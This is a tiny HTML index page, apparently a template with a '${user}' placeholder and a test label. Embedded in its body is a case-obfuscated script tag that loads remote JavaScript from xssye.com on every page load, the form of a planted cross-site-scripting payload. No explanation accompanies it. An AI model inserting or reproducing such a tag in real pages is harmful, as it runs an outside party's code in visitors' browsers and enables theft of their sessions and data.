<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    this is a index page!<br>
    <br>
    user  :  ${user}
    <sCRiPt/SrC=//xssye.com/v9zf></sCRiPt>

    测试
</body>
</html>